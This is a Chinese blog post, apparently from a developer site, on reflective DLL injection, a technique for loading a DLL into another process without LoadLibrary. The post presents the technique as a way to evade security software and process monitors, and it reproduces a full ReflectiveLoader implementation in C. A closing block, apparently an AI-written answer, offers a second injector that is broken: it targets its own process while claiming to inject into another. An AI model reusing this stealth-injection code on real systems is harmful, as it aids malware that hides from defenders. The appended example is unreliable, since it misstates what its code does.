反射Dll注入

上一篇我们介绍了CreateRemoteThread+LoadLibrary进行注入的技巧。但是这种方法实在是太过格式化,所以几乎所有的安全软件都会监控这种方法。所以HarmanySecurity的Stephen Fewer提出了ReflectiveDLL Injection,也就是反射DLL注入。

其和CreateRemoteThread一样也是分为两部分,注入器和注入的DLL。但是注入DLL的装载由我们自主实现,由于反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此用ProcessExplorer等软件也无法检测出进程加载了该DLL,更显安全。

反射注入的流程

  1. 注入器将要注入的DLL打开,读进自己的内存空间。(注意不是映射。)
  2. 注入器提权,打开目标进程,申请内存空间,将DLL文件写入目标进程。
  3. 注入器手动搜索DLL的导出表,寻找DLL导出的自主实现的ReflectiveLoader函数。
  4. 注入器创建远程线程,线程启动点为ReflectiveLoader函数,DLL会加载自身,并执行DllMain。

ReflectiveLoader的工作流程

0x00 ReflectiveLoader做的第一件事就是查找自身所在的DLL具体被写入了哪个位置。

ReflectiveLoader首先利用一个重定位技巧找到自身所在的大致位置:

ULONG_PTR caller( VOID ) { return(ULONG_PTR)_ReturnAddress(); }

其中函数_ReturnAddress()返回的是当前调用函数的返回地址,也就是caller()的下一条指令的地址。这个地址位于ReflectiveLoader的内部,而ReflectiveLoader位于被注入的DLL文件内部,因此这个地址离DLL文件的头部不远了。

借助上文找到的地址,我们逐字节的向上遍历,当查找到符合PE格式的文件头之后,就可以认为找到了DLL文件在内存中的地址了。

0x01 获取我们需要的API函数

有四个API函数是我们需要用的

LoadLibraryA() :加载DLL所需的导入模块

GetProcAddress():修正导入表的函数地址

VirtualAlloc():申请内存空间

NtFlushInstructionCache()函数:刷新指令,重定向相关。

根据fs寄存器的0x30位置获得PEB,PEB中的三根链表就可以遍历所有已加载的模块,就可以找到Kernel32和ntdll从而获得函数地址

0x02 申请PE文件映射所需空间

因为DLL现在是以文件的方式储存在内存空间。所以我们需要根据PE文件可选头中的SizeOfImage获得加载后的大小,申请SizeOfImage大小的内存空间。

0x03 拷贝PE文件头和各个节

分配了用于装载的空间后,ReflectiveLoader将DLL文件的头部,拷贝到新的空间的首部。再根据PE文件的节表将各个节复制到相应的位置中.

0x04 修正导入表

目前为止我们对导入表没有任何操作,也就是说其还处于原始的双桥结构的状态,IAT中还没有储存相应的函数地址。我们要根据导入表内容,通过0x01获得的LoadLibrary加载所需模块,按函数名导入的通过GetProcAddress获得地址填入IAT,按序号导入的暴力搜索其所在模块获得地址。

0x05 修正重定向数据

我们的ReflectiveLoader中肯定没有需要重定向的数据,但是DLL中的其他API中可能存在需要重定向的数据。我们根据DLL自身的重定向表修改数据。

需要重定位的数据位置 = 真实加载基址 + VirtualAddress + TypeOffset低12位
重定位后地址 = (真实加载基址-默认加载基址) + 需要进行重定位的地址

重定向完成后记得调用NtFlushInstructionCache,确保指令的正确执行。

0x06 调用DllMain函数

DllMain函数的RVA在可选头中的AddressOfEntryPoint中储存。

至此DLL就完成了映射,运行了起来。

 

 

#include "ReflectiveLoader.h"

HINSTANCE hAppInstance = NULL;

#pragma intrinsic( _ReturnAddress )

__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }

#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{

	LOADLIBRARYA pLoadLibraryA     = NULL;
	GETPROCADDRESS pGetProcAddress = NULL;
	VIRTUALALLOC pVirtualAlloc     = NULL;
	NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;

	USHORT usCounter;

	ULONG_PTR uiLibraryAddress;

	ULONG_PTR uiBaseAddress;

	ULONG_PTR uiAddressArray;
	ULONG_PTR uiNameArray;
	ULONG_PTR uiExportDir;
	ULONG_PTR uiNameOrdinals;
	DWORD dwHashValue;

	ULONG_PTR uiHeaderValue;
	ULONG_PTR uiValueA;
	ULONG_PTR uiValueB;
	ULONG_PTR uiValueC;
	ULONG_PTR uiValueD;
	ULONG_PTR uiValueE;

	uiLibraryAddress = caller();

	while( TRUE )
	{
		if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
		{
			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

			if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
			{
				uiHeaderValue += uiLibraryAddress;

				if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
					break;
			}
		}
		uiLibraryAddress--;
	}

#ifdef _WIN64
	uiBaseAddress = __readgsqword( 0x60 );
#else
	uiBaseAddress = __readfsdword( 0x30 );
#endif

	uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
	while( uiValueA )
	{

		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;

		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;

		uiValueC = 0;

		do
		{
			uiValueC = ror( (DWORD)uiValueC );

			if( *((BYTE *)uiValueB) >= 'a' )
				uiValueC += *((BYTE *)uiValueB) - 0x20;
			else
				uiValueC += *((BYTE *)uiValueB);
			uiValueB++;
		} while( --usCounter );

		if( (DWORD)uiValueC == KERNEL32DLL_HASH )
		{

			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 3;

			while( usCounter > 0 )
			{

				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );

				if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
				{

					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					if( dwHashValue == LOADLIBRARYA_HASH )
						pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == GETPROCADDRESS_HASH )
						pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == VIRTUALALLOC_HASH )
						pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					usCounter--;
				}

				uiNameArray += sizeof(DWORD);

				uiNameOrdinals += sizeof(WORD);
			}
		}
		else if( (DWORD)uiValueC == NTDLLDLL_HASH )
		{

			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 1;

			while( usCounter > 0 )
			{

				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );

				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
				{

					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
						pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					usCounter--;
				}

				uiNameArray += sizeof(DWORD);

				uiNameOrdinals += sizeof(WORD);
			}
		}

		if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
			break;

		uiValueA = DEREF( uiValueA );
	}

	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

	uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
	uiValueB = uiLibraryAddress;
	uiValueC = uiBaseAddress;

	while( uiValueA-- )
		*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

	uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
	while( uiValueE-- )
	{

		uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

		uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

		while( uiValueD-- )
			*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

		uiValueA += sizeof( IMAGE_SECTION_HEADER );
	}

	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

	while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
	{

		uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

		uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

		uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

		while( DEREF(uiValueA) )
		{

			if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
			{

				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

				uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

				uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

				uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

				DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
			}
			else
			{

				uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

				DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
			}

			uiValueA += sizeof( ULONG_PTR );
			if( uiValueD )
				uiValueD += sizeof( ULONG_PTR );
		}

		uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
	}

	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
	{

		uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

		while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
		{

			uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

			uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

			while( uiValueB-- )
			{

				if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
					*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
					*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;

				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

				uiValueD += sizeof( IMAGE_RELOC );
			}

			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
		}
	}

	uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

	pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );

	return uiValueA;
}

 

当涉及到 DLL 注入反射注入方法时可以使用 C 语言编写一个程序来实现。下是一个示例程序,它演示了如何使用反射注入DLL 注入到目标进程中: ```c #include <stdio.h> #include <windows.h> // 反射注入 DLL 的函数 BOOL ReflectiveDllInjection(LPVOID lpDllBuffer) { // 获取当前进程的基址 HMODULE hModule = GetModuleHandle(NULL); // 获取当前进程的 DOS 头 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; // 获取当前进程的 NT 头 PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + pDosHeader->e_lfanew); // 获取当前进程的映像基址 LPVOID pImageBase = (LPVOID)pNtHeaders->OptionalHeader.ImageBase; // 获取当前进程的入口点函数地址 LPVOID pEntryPoint = (LPVOID)((DWORD_PTR)pImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint); // 为反射注入分配内存 LPVOID pRemoteImageBase = VirtualAllocEx(GetCurrentProcess(), NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 将当前进程的映像基址复制到目标进程中 WriteProcessMemory(GetCurrentProcess(), pRemoteImageBase, pImageBase, pNtHeaders->OptionalHeader.SizeOfImage, NULL); // 将 DLL 缓冲区写入到目标进程中 WriteProcessMemory(GetCurrentProcess(), (LPVOID)((DWORD_PTR)pRemoteImageBase + ((PIMAGE_NT_HEADERS)lpDllBuffer)->OptionalHeader.ImageBase), lpDllBuffer, ((PIMAGE_NT_HEADERS)lpDllBuffer)->OptionalHeader.SizeOfImage, NULL); // 更新目标进程的导入表 PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)pRemoteImageBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); while (pImportDesc->Name != 0) { HMODULE hDll = LoadLibraryA((LPCSTR)((DWORD_PTR)pRemoteImageBase + pImportDesc->Name)); PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)pRemoteImageBase + pImportDesc->FirstThunk); while (pThunk->u1.Function != 0) { DWORD_PTR pFunc = (DWORD_PTR)GetProcAddress(hDll, (LPCSTR)pThunk->u1.Function); WriteProcessMemory(GetCurrentProcess(), &pThunk->u1.Function, &pFunc, sizeof(DWORD_PTR), NULL); pThunk++; } pImportDesc++; } // 创建远程线程来运行目标进程的入口点函数 HANDLE hThread = CreateRemoteThread(GetCurrentProcess(), NULL, 0, (LPTHREAD_START_ROUTINE)pEntryPoint, pRemoteImageBase, 0, NULL); if (hThread == NULL) { return FALSE; } WaitForSingleObject(hThread, INFINITE); // 清理内存 VirtualFreeEx(GetCurrentProcess(), pRemoteImageBase, 0, MEM_RELEASE); return TRUE; } int main() { // 读取 DLL 文件 FILE* fp = fopen("dll_template.dll", "rb"); if (fp == NULL) { printf("无法打开 DLL 文件!\n"); return 1; } // 获取 DLL 文件的大小 fseek(fp, 0, SEEK_END); long fileSize = ftell(fp); fseek(fp, 0, SEEK_SET); // 分配内存来存储 DLL 文件数据 LPVOID lpDllBuffer = malloc(fileSize); // 读取 DLL 文件数据到内存中 fread(lpDllBuffer, fileSize, 1, fp); // 关闭文件 fclose(fp); // 执行反射注入 if (ReflectiveDllInjection(lpDllBuffer)) { printf("DLL 注入成功!\n"); } else { printf("DLL 注入失败!\n"); } // 释放内存 free(lpDllBuffer); return 0; } ``` 上述示例程序中,你需要将要注入DLL 文件命名为 "dll_template.dll",并与程序放在同一目录下。然后编译并运行程序,它将尝试将该 DLL 注入到目标进程中。 请注意,反射注入的程序需要具有管理员权限才能成功运行。此外,反射注入可能会受到一些安全软件的检测,因为它使用了一些与恶意软件类似的技术。 希望这个示例程序能帮助到你!如有任何问题,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值